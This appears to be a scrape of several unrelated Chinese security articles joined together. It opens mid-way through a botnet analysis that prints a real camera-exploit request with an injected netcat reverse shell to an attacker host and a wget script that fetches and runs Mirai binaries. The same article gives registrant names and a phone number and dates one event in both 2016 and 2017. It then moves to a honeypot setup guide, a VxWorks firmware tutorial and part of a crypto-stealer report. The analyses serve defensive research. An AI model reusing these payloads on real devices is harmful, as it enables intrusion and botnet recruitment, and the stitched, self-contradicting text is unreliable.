GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1
GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1
这个部分的有效载荷包含在 sef_ftp.cgi 的URI 中，转码后为
nc load.gtpnet.ir 1234 -e bin/sh
受害者因此被胁迫向攻击者的服务器发起nc连接
1、攻击者通过上述nc连接，向受害者设备投递了下载脚本 wificam.sh
$ nc load.gtpnet.ir 1234`
busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &`
下载脚本 wificam.sh 进一步下载了新的样本文件
$ cat wificam.sh
wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin
wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin
wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin
chmod +x /tmp/arm.bin
chmod +x /tmp/arm5.bin
chmod +x /tmp/arm7.bin
chmod +x /tmp/mips.bin
chmod +x /tmp/mpsl.bin
killall *.bin
killall arm
killall arm5
killall arm7
killall mips
killall mpsl
killall hal
/tmp/arm.bin
/tmp/arm5.bin
/tmp/arm7.bin
/tmp/mips.bin
/tmp/mpsl.bin
rm -rf /tmp/*.bin
**
**
**将本次扫描归因到这组样本**
我们认为本次针对 81 端口扫描归因到这组样本上。
从数据分析角度做出归因判定最大的障碍，是蜜罐系统采集到的有效数据只有100+
份，对比全球网络扫描实时监测系统中每日独立扫描来源超过57,000，两者差距巨大，使用前者来说明后者，有数据覆盖率不足之嫌。
不过我们在仔细考察当前数据后，有以下发现：
1、这组样本， **采集自81端口** 的扫描活动
2、罐上近期81 端口的扫描，绝大多数指向了这个样本。以4月19日为例， **124（/132=94%）的81端口** 扫描是该样本发起的；
3、时间窗口方面，我们的三个不同数据源（大网扫描实时监测/C2域名DNS流量/蜜罐扫描流量）上监测均监测到了流量暴涨，且流量暴涨出现的时间均发生在
2016-04-16 03:00:00 附近。三个数据源的覆盖范围各不同，分别是
**全球范围、中国大陆范围、若干蜜罐部署点范围，三个数据源之间的数据能够交叉映证** ，是一个较强的证据。
来自Scanmon的数据指出spike首次出现时间点大约是 2017-04-16 03:00:00 附近
来自DNS 的C2 域名解析数据，spike首次出现时间也是在 2017-04-16 03:00:00 附近
来自蜜罐这组样本的出现时间，首次出现时间同样在 2017-04-16 03:00:00 附近（排除奇异点212.232.46.46，后述）。
在仔细衡量上述全部因素后，我们断言本次扫描可以归因到当前样本。
**
**
**样本分析**
针对样本详尽的逆向分析较为耗时，目前尚在进行中，稍后也许我们会发布更进一步分析。目前阶段，我们可以从样本的网络表现中得到以下方面的结论：
1、样本 vs C2控制端
2、样本 vs Simple UDP DDoS 攻击向量
3、样本 vs mirai
4、样本 vs IoT
另外目前各杀毒厂商对该样本的认定尚不充分（7/55 virustotal），这也是我们希望向安全社区发声的原因之一。
**样本 vs C2控制端**
通过已经完成的逆向工程，我们已经能够确定无论是在感染阶段还是攻击阶段，样本都会与 load.gtpnet.ir/ntp.gtpnet.ir 通信。
**样本 vs Simple UDP DDoS 攻击向量**
样本中包含了 DDoS 攻击向量。我们在 2017-04-23 21:45:00 附近，观察到沙箱中的样本向 185.63.190.95 发起了DDoS
攻击。
这次攻击也被 DDoSmon.net
检测到了：[https://ddosmon.net/explore/185.63.190.95](https://ddosmon.net/explore/185.63.190.95)
进一步分析攻击向量的构成：
从DDoSMon的统计来看，攻击主要针对受害者的 UDP 53/123/656 端口，填充包大小主要集中在125/139
从沙箱的Pcap分析来看，攻击覆盖受害者的 UDP 53/123 端口，填充包大小能够映证上述DDosMon.net的数据。
另外从沙箱Pcap数据来看，攻击包使用了真实IP地址，在填充包中填充的是 SSDP(UDP 1900）的数据。 沙箱中看到的攻击包特征：
Simple UDP 53 DDoS with a SSDP1900 padding
Simple UDP 123 DDoS with a SSDP1900 padding
**样本 vs mirai**
样本与mirai有较多联系，也有很大变化，总体而言，我们认为这是一个全新的家族，不将其并入mirai家族。
样本与mirai的不同点包括：
传播阶段：不再猜测 23/2323 端口上的弱密码；通过 81 端口上的 GoAhead RCE 漏洞传播
C2通信协议：完全不同于mirai
攻击向量：完全不同于mirai；前面提到 UDP 53/123/656
端口的攻击向量，mirai是不具有的；而mirai特有的、创下记录的GRE/STOMP攻击向量，在这组样本中完全不存在；
**样本也的确与mirai有一些共同点：**
传播阶段：使用非正常的 syn scan 来加速端口扫描的过程。不过今天这个技巧已经被非常多的恶意代码家族使用，不再能算作mirai独有的特点
文件命名：使用了 mirai 这个字符串
代码重用：重用了较多mirai的部分代码
尽管有若干共同点，由于传播、攻击向量等关键特征已经与mirai完全没有共同之处，我们仍然倾向将这个样本与mirai区别开来。
**样本 vs IoT**
在前面的分析中，我们已经了解到这一组样本主要针对IoT设备传播，但具体是1200+种设备中的哪些种类尚不明确。不过在360网络安全研究院，我们可以使用DNS数据维度进一步刻画受感染设备的归属。
我们经常使用D2V工具来寻找域名的伴生域名，在这个案例，我们观察到 ntp.gtpnet.ir 域名在
2017-04-16之前没有伴生域名，之后与下列域名伴生：
s3.vstarcam.com
s2.eye4.cn
ntp.gtpnet.ir
api.vanelife.com
load.gtpnet.ir
ntp2.eye4.cn
push.eye4.cn
push.eyecloud.so
ntp.eye4.cn
m2m.vanelife.com`
这些域名的具体网站标题如下：
基于上述数据可以进一步刻画受感染设备的归属。
**
**
**C2 历史变化回溯**
**DNS历史解析记录变化**
我们看到的两个域名的历史解析记录如下
可以看出：
1、load.gtpnet.ir 一直指向 185.45.192.168
2、ntp.gtpnet.ir 的IP地址则发生了多次变换，比较不稳定
3、我们在沙箱中也同样观察到了上述 ntp.gtpnet.ir 的IP地址不稳定的情况
上述 ntp.gtpnet.ir IP地址不稳定现象也许可以用下面的事实来解释：
从样本分析来看，前者仅负责投递初始下载器，负载相对较轻；后者不仅负责投递wificam.sh 和 5个 elf
样本，还承担与bot通信的责任，负载比前者重很多倍。
整个botnet的规模较大，服务器同时与数万bot通信的负载较高。
**C2 的whois 域名关联**
域名的whois 信息如下：
domain: gtpnet.ir
ascii: gtpnet.ir
remarks: (Domain Holder) javad fooladdadi
remarks: (Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
holder-c: jf280-irnic
admin-c: jf280-irnic
tech-c: mk3389-irnic
nserver: etta.ns.cloudflare.com
nserver: dom.ns.cloudflare.com
last-updated: 2017-04-19
expire-date: 2018-04-06source: IRNIC # Filtered
nic-hdl: jf280-irnic
person: javad fooladdadi
org: personal
e-mail: [email protected]: Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
phone: +989155408348
fax-no: +989155408348
source: IRNIC # Filtered
nic-hdl: mk3389-irnic
person: Morteza Khayati
e-mail: [email protected]: IRNIC # Filtered
上述域名的注册时间，推测发生在 2017-04-06 (因为失效时间是 2018-04-06)，恰好发生在攻击者武器化的期间 （2017-03-08 ~
2017-04-16），可以断定是专为本僵尸网络而注册的域名。
但是两个域名注册email地址与本僵尸网络的关联尚缺少证据进一步支撑。其中 **[email protected]** 与以下两个域名关联：
hostsale.net
almashost.com
特别是 almashost.com 的注册时间发生在 2009
年，并且看起来是有域名交易/域名停靠的事情发生，倾向认为与本次攻击并无直接关联。这样，email地址 [email protected]
是如何卷入本次攻击的，尚不得而知。
**僵尸网络规模判定**
**DNS系统视角度量僵尸网络规模**
到现在（2017-04-24）为止，我们从DNS数据中（中国大陆地区），能够看到与C2服务器通信的僵尸规模有
43,621。由于我们数据的地缘性限制，我们看到的分布主要限定在中国大陆地区。具体位置分布如下：
中国大陆地区每日活跃的bot数量在 2,700 ～ 9,500 之间，如下：
**
**
**关于 212.232.46.46 我们的观察**
在所有扫中我们蜜罐的来源IP中， 212.232.46.46
是特殊的一个。从时间分布上来说，这个IP是孤立的一个，在他之前没有其他IP以这种方式扫描我们的蜜罐。在他之后，5个小时内一个都没有、但是之后蜜罐就被密集的扫中。
目前为止，我们只知道这个IP是个数据上的奇异点，但这个IP与攻击者之间的关系并不清楚，期待睿智的读者为我们补上拼图中缺失的那块。附上该IP地址的历史扫描行为：
**IoC**
**样本**
****
cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh
428111c22627e1d4ee87705251704422 mirai.arm
9584b6aec418a2af4efac24867a8c7ec mirai.arm5n
5ebeff1f005804bb8afef91095aac1d9 mirai.arm7
b2b129d84723d0ba2f803a546c8b19ae mirai.mips
2f6e964b3f63b13831314c28185bb51a mirai.mpsl
**控制主机**
ntp.gtpnet.ir
load.gtpnet.ir | 社区文章 |
# 如何搭建一套自己的蜜罐系统来收集恶意软件样本
##### 译文声明
本文是翻译文章，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/run-the-trap-how-to-setup-your-own-honeypot-to-collect-malware-samples/7445>
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
本文将介绍如何搭建自己的蜜罐（dionaea）。我想说的是，我们大多数人都喜欢逆向工程二进制文件。同时，我们中的许多人都对恶意软件很着迷。那么，为什么不把它们和一些正在被开发利用的恶意软件结合起来呢？
我所要讲的是如何在Amazon Web
Services（AWS）上搭建蜜罐。如果你不熟悉AWS，这不没有关系，你只需要知道：他们提供了许多服务器，而你可以使用它们。需要注意的是，如果你只需要一个小于50GB的硬盘空间的话，那么你可以创建一个免费的服务器。不过，你必须向AWS提供你的信用卡信息，但只要你不超过“免费套餐”的限额的话，你就可以永久免费使用这些服务器。现在，你可以启动n个微型实例，但每个月总共只能获得1个月的免费小时数。因此，如果你启用了两个微型实例，它们会分摊免费小时数。一旦超过，就将收费，直到月底。所以，请小心。
## 所需技能
l 基本的Linux命令
l 对网络知识基本的理解
## 所需资源
服务器（AWS就很好，还免费提供w/CC）
## 免责声明（可选）
一些托管服务提供商不喜欢恶意软件。
所以，如果他们不像你那样酷的话，也许不会喜欢你在他们的服务器上收集恶意软件样本。
## 配置AWS
我现在开始介绍如何配置你的AWS实例。
[如果你未使用AWS，请跳至下一部分。]
1.单击EC2并创建新实例（EC2 == AWS Servers）。之后，你需要选择Ubuntu Server 14.04 LTS。
2.接下来，选择微型实例类型。
3.很好，现在配置细节，选择“Auto-assign Public IP”，并将其设置为“Enable”。
4.对于存储，只需添加默认值并单击“Next”。
5.忽略添加标签，然后单击“Next”。
6\.
对于配置安全组，需要深入介绍一下。默认情况下，AWS仅允许为你的服务器开放SSH。因此，你必须更改此设置，以便让服务器开放所有端口。是的，这很不安全，但这就是我们所需要的。
7.启动。
8.好吧，这部分有点复杂。想要使用SSH连接到你的服务器实例，你必须更改私钥（something.pem）的权限，然后使用它更改ssh。给实例取一个主机名，它通常位于Public
DNS（IPv4）下面。
在你的本地输入以下命令，以连接到AWS服务器。
$ sudo chmod 400 /home/user/Downloads/key.pem
$ ssh -i /home/user/Downloads/key.pem [[email protected]](mailto:[email protected])
## 配置服务器
下面，让我们像管理员那样来配置服务器。首先，运行下列命令：
$ sudo su
# apt-get update; apt-get upgrade -y; apt-get dist-upgrade;
然后，安装依赖项。
# apt-get install git -y
# git clone [https://github.com/DinoTools/dionaea
13](https://github.com/DinoTools/dionaea)
# apt-get install build-essential cmake check cython3 libcurl4-openssl-dev
libemu-dev libev-dev libglib2.0-dev libloudmouth1-dev libnetfilter-queue-dev
libnl-3-dev libpcap-dev libssl-dev libtool libudns-dev python3 python3-dev
python3-bson python3-yaml ttf-liberation
# mkdir build
# cd build
# cmake -DCMAKE_INSTALL_PREFIX:PATH=/opt/dionaea …
# make
# make install
# cd /opt/dionaea/
好的，现在来设置配置文件dionaea.cfg中的位置。
此文件用于指定恶意软件/二进制文件将被放在什么位置、侦听哪些接口和端口。你可以保留这些默认值，但请记住，日志文件会变得很大。我应该有大约1G的恶意软件，而日志文件大小是19G。因此，dionaea提供了许多不同的服务，可以让你的蜜罐对更多类型的攻击开放，而你会收到更多恶意软件。
我们可以在services-available和services-enabled目录中切换这些设置。通过编辑每个yaml文件，你可以编辑服务以及它对黑客/bot的呈现方式。如果你想受到SMB攻击，例如WannaCry，你需要对服务器进行设置，使其接受smb。
# vim services-enabled/smb.yaml
如果要启用默认的Windows 7设置，只需取消Win7对应的注释符即可。剩下的，请随意发挥创意。
最后但并非最重要的一点是，让蜜罐运行起来。
## 结论
在第一次成功运行之前，我花了很长的时间才把蜜罐搭建好；但是第二次，我只用了16分钟。如果你感到困惑，请参考这篇文档：<https://dionaea.readthedocs.io/en/latest/run.html>。
审核人：yiwang 编辑：边边 | 社区文章 |
# 工控安全入门（六）——逆向角度看Vxworks
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上一篇文章中我们对于固件进行了简单的分析，这一篇我们将会补充一些Vxworks的知识，同时继续升入研究固件内容。
由于涉及到操作系统的内容，建议大家在阅读本篇前有一定操作系统知识的基础，或者是阅读我的《Windows调试艺术》的文章简单了解诸如线程、中断、驱动等的知识。
本篇为[工控安全入门（五）—— plc逆向初探](https://www.anquanke.com/post/id/187792)的延伸。
## 什么是 Vxworks
Vxworks操作系统是由美国Wind River System
公司开发的一套实时操作系统，Vxworks比起linux，有更好的实时性和可裁切性，公司可以根据自己的需求去定制化Vxworks，我们逆向的固件就是施耐德在Vxworks上进行的二次开发。在国防安全、工业化方面Vxworks占据了半壁江山，甚至连爱国者导弹都与Vxworks有关，可见其在工控领域的地位，但是，由于Vxworks目前几乎是没有任何的”纯新手“入门书籍，所以学习起来就较为困难，在《工控安全入门》系列中我将尽可能简单的介绍该系统的相关细节，但是如果想要深入学习或者进行二次开发的话，可以参考官方的相关手册。
## Vxworks的任务
Vxworks作为RTOS（real time operating
system）有一套独特的任务体制和调度方案来保证其实时性，在对固件进行进一步研究之前，我们有必要把这一部分内容搞清楚，保证后续工作的顺利。
在Vxworks中有四种任务队列：
* active队列，所有的任务都在这个队列中，也叫做活动队列，当我们在shell中运行i命令显示全部任务时
* tick队列，Vxworks中有tsakDelay函数，该函数的目的是为了让某个任务推迟执行，也就是暂时不可抢占cpu的任务，这些任务就保存在tick队列中，也叫做定时队列
* ready队列，已经做好所有准备、等待cpu的任务，也叫做就绪队列
* work队列，一种特殊的环形队列，也叫做内核延时队列
在Vxworks中，有着usrAppInit的函数（取决于某个宏，我们这里就先认为默认有了），实际上就相当于我们平常理解的main函数了，我们可以在这”胡作非为“，但是我们作为一个多任务系统，不可能就一个main函数一个主任务打天下，所以还需要几个函数来进行任务的相关操作。
Vxworks的任务有256个优先级（0~255），0为最高优先级，对于应用层的程序，一般使用100到250的优先级，驱动类的程序使用51到99。和其他操作系统一样，每个任务都用一种数据结构表示，也就是TCB（在之前的《Windows调试艺术》中我们详细介绍过该结构，虽然操作系统不同，但是设计思想是一致的）。
要注意，在Vxworks5.x版本中，并没有严格区分内核态和用户态（使用KernelState全局变量来标识是否为内核，但栈还是一个栈，并没有从本质上区分），也就是说TCB还是暴露在用户视野下的，所以一旦存在堆栈溢出的情况，会非常致命，而在6.x之后Vxworks正式区分了用户与内核，极大改善了安全问题。
int taskSpawn(
char *name,
int priority,
int options,
int stackSize,
FUNCPTR entryPtr,
int agr1,
int agr2,
...
int agr10
)
该函数用来创建一个新的任务，返回的是任务的”身份证“，同时也是个内存地址，指向该任务的TCB，也被称为tid
* name，执行任务的名字
* priority，优先级，也就是上面提到的那256个
* options，控制任务的某些行为，比如VX_DSP_TASK意思是要使用DSP处理器来支持该任务
* stackSize，也就是该任务要使用的栈的大小
* entryPtr，任务要执行的函数的指针，一般称为入口函数
* args，入口函数所需要的参数，如果多于10个还可以使用指针进行结构体或数组传输的方式
int taskCreate(
...
)
该函数参数与taskSpawn完全一致，返回的同样是tid，但是它创建的任务并没有做好运行的准备（也就是说没有进入ready队列），需要使用taskActivate来唤醒它。
STATUS taskDelete(int tid)
该函数用来删除一个任务，但是该函数非常非常危险，一般是不使用的。举个栗子，假设我们有一个扳手，现在有一个任务在用，后面还有几个任务在排队等待使用，但是突然你把人家delete了，就相当于连人带扳手都没了，但后面几个任务就傻眼了，成了无限等待了。
当然，关于的任务的函数还有很多很多，这里只是简单地说明，之后碰到了我们再去看。
## Vxworks的启动
上一篇文章中我们用到了sysStartType（系统启动类型）这个参数，但是由于篇幅所限没有详细说明，这里就先来看一下。
Vxworks简单来说有两种不同的启动方式：
* bootram启动，类似我们pc的BIOS，先有个小的操作系统，这个操作系统再去引导真正要用的操作系统运行。这个小的操作系统就是bootram，它存放在ROM或者是Flash中，它运行后会通过串口或是网口将Vxworks下载到RAM在进行启动工作。
* ROM启动，Vxworks映像直接保存在ROM中，直接启动即可。
### bootram启动（对比Vxworks相关函数）
因为ROM启动和bootram实际上在后续的部分完全一致，所以这里我们挑选更为复杂的bootram启动来做讲解。
当上电时，系统会自动跳转到ROM或是Flash的bootram引导程序，有趣的是，bootram和Vxworks的命名方式非常相似。一个是bootConfig.c，一个是usrConfig.c，而程序中像是usrInit、usrRoot等的函数名完全一致，当然了，功能上也有类似之处，下面说的usrInit、ursRoot没有特殊说明均为bootram的。
对于bootram来说，又可以按照是否进行了压缩分为bootram.bin和bootram_uncmp.bin等等，因为大体思路相同，这里我们就以bootram.bin为例进行说明。
* romInit，初始化工作。比如初始化内存寄存器、初始化寄存器、初始化栈（这个栈是bootram用到的栈，和我们后来的Vxworks没有关系）、禁止中断等等
* romStart，复制工作。它将非压缩（这里非压缩的就是romInit和romstart）部分复制到ram的低地址（定义为RAM_LOW_ADRS）部分，将压缩的部分复制到ram的高地址(定义为RAM_HIGH_ADRS)部分并进行解压；对于冷启动（之前文章中提到过，会重置数据）来说，它还会将ram的数据清空；最后再跳转到usrInit。
* usrInit，和我们之前分析的Vxworks的usrInit有类似之处
void usrInit(int startType)
{
while (trapValue1 != 0x12348765 || trapValue2 != 0x5a5ac3c3 )
{
;
}
cacheLibInit (0x02 , 0x02 );
bzero (edata, end - edata);
sysStartType = startType;
intVecBaseSet ((FUNCPTR ＊) ((char ＊) 0x0) );
excVecInit ();
sysHwInit ();
usrKernelInit ();
cacheEnable (INSTRUCTION_CACHE);
kernelInit ((FUNCPTR) usrRoot, (24000) ,(char ＊) (end) ,sysMemTop (), (5000) , 0x0 );
}
我们这里就把固件的usrInit也拿出来，放一块对比着学习
首先是做了个死循环，检查两个变量的值，很显然值就是两个地址，实际上就是检查romStart的复制工作是不是成功了。而Vxworks显然不需要再对RAM的内存空间进行检查了，所以没有这一步。
接着调用cacheLibInit，可以看到两个usrInit都有这个函数，xxxLibInit可以视作一类函数，功能是初始化xxx的库函数，这里就是初始化cache（就是缓存）的库函数，至于参数则是初始化中一些选项，不用在意。
bzero (edata, end – edata)上一次也说了，将一段地址的内容赋为0，这里实际上就是将BSS段清0
intVecBaseSet、excVecInit 上篇文章中详细分析了代码，就是布置中断向量表。
sysHwInit
()这个函数用来初始化设备，直观来说就是将各种外设进行简单的初始化，同时让他们保持“沉默”，我们都知道CPU通过中断来响应外设，但由于现在我们还没完全建立起中断体系（只是简单地建立了interrupt
vector），所以设备一旦产生中断，那就会出现没有中断处理函数的尴尬情况，进而导致系统出错，所以需要让设备保持“沉默”。
往后走是rootram的cacheEnable和Vxworks的usrCacheEnable，其实类似xxxEnable的函数都是“使能”的意思，就是数字电路中的使能端，只有使能了，这个东西才可以用。
最后就是最最最关键的usrKernelInit了，我们先来看看Vxworks的，如下图：
上来的xxxLibInit我们说过了是初始化函数库的，之后是qInit（包括workQInit），全称是queue
init，也就是队列的初始化，详细的我们上面已经讲过了。
void kernelInit
(
FUNCPTR rootRtn, /* 用户启动例程 */
unsigned rootMemSize, /*给 TCB 和初始任务栈分配的内存 */
char * pMemPoolStart, /* 内存池的起始地址 */
char * pMemPoolEnd, /* 内存池的结束地址 */
unsigned intStackSize, /* 中断栈大小 */
int lockOutLevel /* 关中断级别 (1-7) */
)
主要就是创建并执行了一个任务，同时设置了该任务的TCB（thread control
block，保存线程的相关信息）、栈、内存池等等。这里创建的任务就是usrRoot，分配的内存池起始地址为（sysMemTop –
end）/16，即内存空间的十六分之一用来存储，中断级别为0即禁止任何形式的中断。
而bootram的usrKernelInit函数基本一致，只不过将kernelInit放到了外面。
* usrRoot，不知道大家有没有注意到，从usrInit到usrRoot，是以任务创建的方式进行的，也就是说，没有返回值，在进一步说，从这一步开始，上下文就变了，之前可以说是活在”石器时代“，一堆函数所做的只不过是在”石器时代“进行操作罢了，而现在正式进入”文明时代“了。
如图为反编译的Vxworks的usrRoot。
首先开始是usrKernelCoreInit，具体如上图所示，主要作用是对一些功能进行初始化，sem开头的代表信号量，wd则是看门狗（watch
dog，简单来说就是监测系统有没有严重到无法恢复的错误，有的话将系统重启）的意思，msgQ则是消息队列（关于消息的内容在《Windows调试艺术》中也见过了，实质相同），taskHook则是和hook相关的内容。
接着调用memInit来初始化系统内存堆，这里开始我们就可以使用malloc和free函数了。往后到了非常重要的一个环节，也就是sysClkInit函数，它是用来对时钟进行初始化的，而时钟就肯定要涉及到时钟的中断处理（我们在上面说了
sysHwInit等一系列并没有真正完成硬件设备的中断处理注册工作，现在我们的时钟还不能正常的工作），我们将升入去研究它。
首先是sysClkConnect函数，它以usrClock作为参数，很可疑，有没有可能usrClock就是我们要找的中断处理例程呢？我们深入去看
可以看到，usrClock这个函数只是被放在内存的某个位置，似乎和中断没挂钩，反倒是出现了sysHwInit2，不得不让人和上面的sysHwInit产生联系，我们一步步深入该函数
最终我们发现了intConnect，它将ppc860Int注册为时钟中断处理例程，这里实际上和我找到的Vxworks的源码并不相同，在源码中intConnect会将sysClkInt注册为中断处理例程，然后在sysClkInt去调用usrClock，最后再去执行usrClock的tickAnnounce函数进行具体的任务调度，这里不知道是不是施耐德的固件对于具体需要进行了调整，还是说又是Ghidra的一个分析bug。
回到usrRoot，之后调用usrIosCoreInit，进入函数发现iosInit，这是Vxworks的io子系统，之后我们会具体讲解，这里只看看它初始化了啥
iosInit的参数有三个，第一个是支持的最大驱动数，第二个函数是系统最多同时打开的文件数，第三个则是一个特殊的文件，所有写入它的内容都会无效（Linux也有类似的文件）
继续深入就到了usrSerialInit
这个函数有些难理解，为了方便大家查看，我将一些变量进行了重命名。
首先是tyname为0，也就是为空了，然后将tyname（空的）和/tyCo/连接起来，实际上就是tyCo，然后调用了一个未解析出来的函数，实际上就是将ix的值变为字符串，再将其拼接到tyname上，再加上ix<1的循环，也就是说此时就有了/tyCo/1和/tyCo/0两个字符串，这个名字实际上就代表了串口，也就是说该plc有两个串口。
对于这两个设备，首先使用ttyDevCreate来创建设备，这里听着不太通顺，实际上是Vxworks的一个特点，虽然你实际上已经有这个串口设备了，但是对于系统来说，并不知道，需要你基于它调用xxxDevCreate来”注册“，关于这个的详细说明会在后面的文章中涉及。注册后会判断ix是否为0，也就是对于/tyCo/0在进行操作，调用ioctl函数来对该串口设备进行操作。
ioctl和linux的ioctl相似，都是因为传统的open、read、write等基本操作都是将设备抽象成文件来进行（linux崇尚万物皆文件嘛）的，对于设备独有的操作（比如光驱的弹出等等）就无法完成了，所以有了该函数
ioctl(int fd,int function,int arg)
fd即为open设备后返回的文件标识符（Vxworks中经常叫做consoleFd，别和控制台搞混了……），function则是要进行的操作，arg是操作需要的参数，大家可以在ioLib.h中找到，如下图所示
最后跳出循环，注意，此时consoleFd为/tyCo/1的fd，利用ioGlobalStdSet标准对输入、标准输出、错误输出进行重定向，此时，我们的printf之类的函数就可以用了。
再跳回到usrRoot，剩下的初始化的函数我们就不看了（有兴趣的可以自己看看），只关心一下usrNetworkInit，为啥呢？因为这有个漏洞，也就是很有名的CVE-2011-4859，这个版本的固件还未修复，我们在下一篇文章会详细分析这部分的内容
最终由usrRoot调用usrAppInit，我们总算是来到了所谓的”main“
同样的，对比bootram系统，初始化方面相同，而这些完成之后，bootram也就开始将Vxworks加载到内存中，开始将工作托付给Vxworks，启动也就完成了。
## 总结
本篇文章中介绍了Vxworks的任务机制，并将固件的初始化方面的函数进行了简单的分析，下一篇我们会研究Vxworks在网络方面的初始化以及CVE-2011-4859，并着手开始逆向固件的”main“函数。 | 社区文章 |
**作者：启明星辰ADLab**
**原文链接：<https://mp.weixin.qq.com/s/PuB0fQ-cHmHUs2_zSef8Ag>**
# 一、概述
加密货币一直以来都是黑客们极为热衷的攻击领域，除了攻击加密货币交易平台以获得巨额的经济利益外，还存在大量以窃取加密货币钱包的攻击，启明星辰ADLab近期发现多起以加密货币机器人为诱饵进行加密货币钱包窃取的攻击案例。起初我们注意到一些行为异常的交易机器人（主要以Bitmex
Bot 、Trade
Bot、UniqueTradingBot为主），这些机器人在安装过程中弹出缺少.NET运行库的错误提示框。而通过调查分析发现，其中多款机器人的官方软件并没有使用.NET进行相关组件的开发。因而进一步分析后，我们发现这些异常的机器人释放并试图执行一些使用C#编写的可执行文件，同时发现一些非官方的网络连接。随后，我们将这些机器人释放的非官方组件一一提取出来做进一步分析和对比，最后确认这是一款新型的具有丰富窃密功能的恶意软件。其中核心组件的大部分类均以“NoiseMe”作为命名空间的起始标志，因而此处我们将该恶意软件命名为“NoiseMe”。其除了具备窃取几乎所有主流加密货币钱包的能力外，还被用于敏感信息（如受害主机的各种登录凭证数据）窃取，进一步黑客还可以利用该恶意软件对受害主机进行定制化的攻击，对不同的受害主机下发不同攻击插件来执行不同的任务，以实现黑客利益的最大化。
通过我们全面的分析发现，该窃密软件几乎会窃取所有可能窃取的凭证数据，并且涵盖多达10种主流加密货币客户端软件的钱包文件。其中窃取的凭证的数据包含RDP凭证、FTP凭证、
Telegram凭证、Discord凭证、以及浏览器凭证（Cookies、Autofill、Credit
Cards、Credentials）等。其中涉及的加密货币客户端包含比特币、莱特币、字节币、达世币、以太币、门罗币、Electrum、Exodus等，这里Electrum是比特币的轻量钱包客户端，Exodus是一款用于管理资产和交易数据的数字货币钱包软件，其支持100多种加密货币，如比特币、以太坊、BAT、EOS、Augur、Tezos、Dash等。
此外，该窃密软件为了增加自身的存活时间，提高攻击的隐蔽性，其还大量使用代码混淆、关键字符串加密、高强度代码保护技术（WinLicense）来保护其攻击代码，提高逆向分析的难度和时间成本，同时采用文件内存加载技术来防止取证分析人员获取其核心攻击模块。在我们分析的整个过程中，需要对其采用高强度代码保护技术进行处理，解密出被保护的代码，并动态调试提取出其中被二次加密的字符串方可对其进行完整的逆向分析。
# 二、NoiseMe工作原理分析
在分析完“NoiseMe”恶意软件后，我们对其整个攻击过程进行回溯发现，其攻击载体主要存储在一些合法的下载站点、云盘，通过一些论坛和社交网络诱使特定人员下载恶意软件执行。黑客将这些攻击载体伪装成各种加密货币自动交易机器人，并以交易机器人为幌子发布恶意软件链进行传播。
图1 攻击流程图
如图1所示，这些攻击载体一旦被受害人下载执行，“NoiseMe”恶意软件便会在后台偷偷地执行。其中首先启动一个“Dropper”执行，该“Dropper”会从黑客的一个恶意代码存储点去下载“上线”模块（下载自站点ra.pdofan.ru）和“核心窃密”模块（下载自站点v69.pdofan.ru）执行。其中，“上线”模块会收集受害主机的系统状态信息并回传至C&C服务器（45.67.231.23:53623）完成上线任务，同时C&C服务器会指定一个远程组件的地址给该模块执行，以完成特定工作。而“Dropper”下载的“核心窃密”模块主要以窃取受感染主机的加密货币钱包地址和多种登录凭证数据为主，这些数据均会回传给内置的存储服务器（195.161.62.146:2012）使用。
通过对“NoiseMe”攻击载体的收集发现，黑客使用了多种类型的攻击载体以扩大其攻击目标，其中除了包含有三款比较著名的商用加密货币机器人外，还包含有多种用于赚取比特币的自动化辅助工具以及一些使用Autoit脚本实现的伪装器。
**伪装名称** | **伪装版本** | **内置软件** | **内置软件官方网站** | ***商业软件**
---|---|---|---|---
Bitmex Bot | 3.1 | MarginClick | https://www.marginclick.com/ | 是
Trade Bot | 2.0 | Automated Trading Bot | http://mitsoft.ru/ | 是
UniqueTrading Bot | 2.0.4.2 | Automated Trading Bot | http://mitsoft.ru/ | 是
表1 攻击载体伪装信息
伪装的商用加密货币机器人中，实际安装的是类似于MarginClick及Automated Trading
Bot之类的商业化交易客户端。其中攻击载体伪装成为类似于“BtcClicks
Autoclicker.exe”的辅助工具，经过查证该工具是基于网站<https://btcclicks.com>进行模拟观看广告以赚取比特币的自动化工具，可以看出黑客还试图攻击此类灰色收入者以窃取其所得的比特币收入。
此外，还有一些攻击载体以Autoit脚本转EXE的方式存在，不过这类攻击载体似乎大量感染上了Ramnit蠕虫（是一款具备广泛感染能力的蠕虫病毒，其支持感染EXE、DLL、HTML以及HTM等类型的文件）。这很可能是“NoiseMe”在传播过程中受此病毒感染，而并非是黑客刻意为之，因为在“NoiseMe”中加入Ramnit蠕虫极容易暴露自身并且其攻击目的也大相径庭。
最后，我们对“NoiseMe”恶意软件进行了溯源，最终发现一款攻击功能和目标较为相似的恶意软件GrandSteal，通过比对分析还发现他们中出现了完全相同的代码，见图2。
图 2 代码比对图
但是他们之间大量的代码仍然存在许多差别，我们猜测这两款恶意软件极有可能来自同一个家族的源码改造。“NoiseMe”相较于GrandSteal，其功能更丰富，对抗手段更强，如GrandSteal仅仅使用ConfuserEx混淆工具进行简单的代码混淆，而“NoiseMe”则使用高强度的商业加密工具进行了代码保护；GrandSteal单纯只有窃密功能，而“NoiseMe”却加入了Loader的使用和远程任意组件执行的功能；此外“NoiseMe”使用了更为丰富的攻击载体进行传播。
# 三、详细技术分析
